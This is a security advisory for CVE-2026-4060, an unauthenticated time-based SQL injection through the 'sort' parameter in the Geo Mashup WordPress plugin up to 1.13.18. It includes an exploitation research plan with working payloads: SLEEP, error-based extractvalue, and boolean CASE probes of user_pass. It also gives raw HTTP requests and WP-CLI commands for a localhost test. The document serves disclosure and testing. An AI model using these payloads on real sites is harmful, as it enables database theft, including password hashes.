Geo Mashup <= 1.13.18 - Unauthenticated Time-Based SQL Injection via 'sort' Parameter
Description
The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'sort' parameter in all versions up to, and including, 1.13.18. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. The `esc_sql()` function is applied but is ineffective in the `ORDER BY` context because the value is not enclosed in quotes. Additionally, while a `sanitize_sort_arg()` allowlist-based sanitizer was added in version 1.13.18, it is only applied in the AJAX code path (`sanitize_query_args()`) and not in the `render-map.php` or template tag code paths. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.13.19
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4060 (Geo Mashup SQL Injection) ## 1. Vulnerability Summary The Geo Mashup plugin (<= 1.13.18) is vulnerable to a time-based blind SQL injection via the `sort` parameter. The vulnerability exists because user-supplied input for sorting is passed to an SQL `ORD…
Show full research plan
Exploitation Research Plan: CVE-2026-4060 (Geo Mashup SQL Injection)
1. Vulnerability Summary
The Geo Mashup plugin (<= 1.13.18) is vulnerable to a time-based blind SQL injection via the sort parameter. The vulnerability exists because user-supplied input for sorting is passed to an SQL ORDER BY clause after being processed by esc_sql(). While esc_sql() escapes quotes, it is ineffective in an ORDER BY context where the value is not enclosed in quotes, allowing an attacker to append additional SQL commands (e.g., SLEEP()). Although a sanitizer (sanitize_sort_arg) was added in 1.13.18 for AJAX paths, it was omitted in the render-map.php and template tag execution paths.
2. Attack Vector Analysis
- Endpoint:
[SITE_URL]/wp-content/plugins/geo-mashup/render-map.php(Direct access) or any page containing the[geo_mashup_map]shortcode. - Parameter:
sort - Authentication: Unauthenticated (No login required).
- Preconditions:
- The plugin is active.
- At least one object (post, page, or user) has location data associated with it (to ensure the location query executes).
3. Code Flow
- Entry Point: An unauthenticated user requests
render-map.phpor a page with a Geo Mashup map. - Input Handling: The
render-map.phpscript (or the shortcode handlerGeoMashup::map()) retrieves query parameters from$_GET. - Data Access: These parameters are passed to
GeoMashupDB::get_object_locations( $args )(defined ingeo-mashup-db.php). - Vulnerable Sink: Inside
get_object_locations(), the$args['sort']value is sanitized only withesc_sql()and then concatenated directly into theORDER BYclause of the SQL query. - SQL Construction (Inferred):
$query = "SELECT ... FROM ... WHERE ... ORDER BY " . esc_sql( $args['sort'] ); - Execution: The
$wpdb->get_results()function executes the malformed query.
4. Nonce Acquisition Strategy
According to the vulnerability description, this specific code path (render-map.php) lacks the sanitization and nonce checks applied to the AJAX path. render-map.php is traditionally designed to be loaded within an <iframe> and often does not implement WordPress nonces for its primary query parameters.
- Nonce Requirement: None (Expected unauthenticated/unprotected).
5. Exploitation Strategy
The goal is to demonstrate a time delay using the SLEEP() function within the ORDER BY clause.
Step-by-Step Plan:
- Locate Target: Determine if
render-map.phpis accessible at the standard path. - Verify Location Data: Ensure the database has at least one location to ensure the query is processed.
- Execute Baseline: Request the target URL and measure response time.
- Execute Attack: Request the target URL with a
sortpayload designed to triggerSLEEP(5). - Payloads:
- Simple:
?sort=id,sleep(5) - Subquery (to bypass some filters):
?sort=id,(SELECT(1)FROM(SELECT(SLEEP(5)))a) - Conditional:
?sort=id,IF(1=1,SLEEP(5),1)
- Simple:
HTTP Request (Direct Path):
GET /wp-content/plugins/geo-mashup/render-map.php?map_name=all&sort=id,sleep(5) HTTP/1.1
Host: localhost
HTTP Request (Shortcode Path):
If direct access to render-map.php is restricted (e.g., ABSPATH check), use a page where the map is rendered:
GET /map-test-page/?sort=id,sleep(5) HTTP/1.1
Host: localhost
6. Test Data Setup
- Install Plugin: Ensure Geo Mashup 1.13.18 is installed and active.
- Create Location Data:
# Create a post POST_ID=$(wp post create --post_title="Map Point" --post_status="publish" --format=ids) # Geo Mashup synchronizes from these meta keys if 'copy_geodata' is enabled wp post meta add $POST_ID geo_latitude 34.0522 wp post meta add $POST_ID geo_longitude -118.2437 - Create Test Page:
wp post create --post_type=page --post_title="Map Page" --post_status="publish" --post_content='[geo_mashup_map]' --post_name='map-test'
7. Expected Results
- Baseline Request: Returns in < 1 second.
- Exploit Request: Returns in approximately 5 seconds (or the specified sleep duration).
- Database state: No change (Read-only injection).
8. Verification Steps
- Monitor MySQL Logs: If possible, watch the general query log to see the executed SQL.
-- Example expected log entry: SELECT ... FROM wp_geo_mashup_locations ... ORDER BY id,sleep(5) - WP-CLI Check: Verify location data exists to confirm the query was eligible for execution.
wp db query "SELECT * FROM wp_posts WHERE post_title='Map Point'"
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis on, try?sort=id,extractvalue(1,concat(0x7e,database()))to leak information in the error message. - Blind Boolean: If sleep is throttled, use
CASEstatements to sort by different columns based on a condition:?sort=(CASE WHEN (SUBSTR(user_pass,1,1)='$') THEN id ELSE location_id END)
Then observe the order of markers in the response JSON or HTML. - Search Path: Use the Search widget entry point if
render-map.phpfails:GET /?geo_mashup_search=test&sort=id,sleep(5)(Inferred search parameter).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.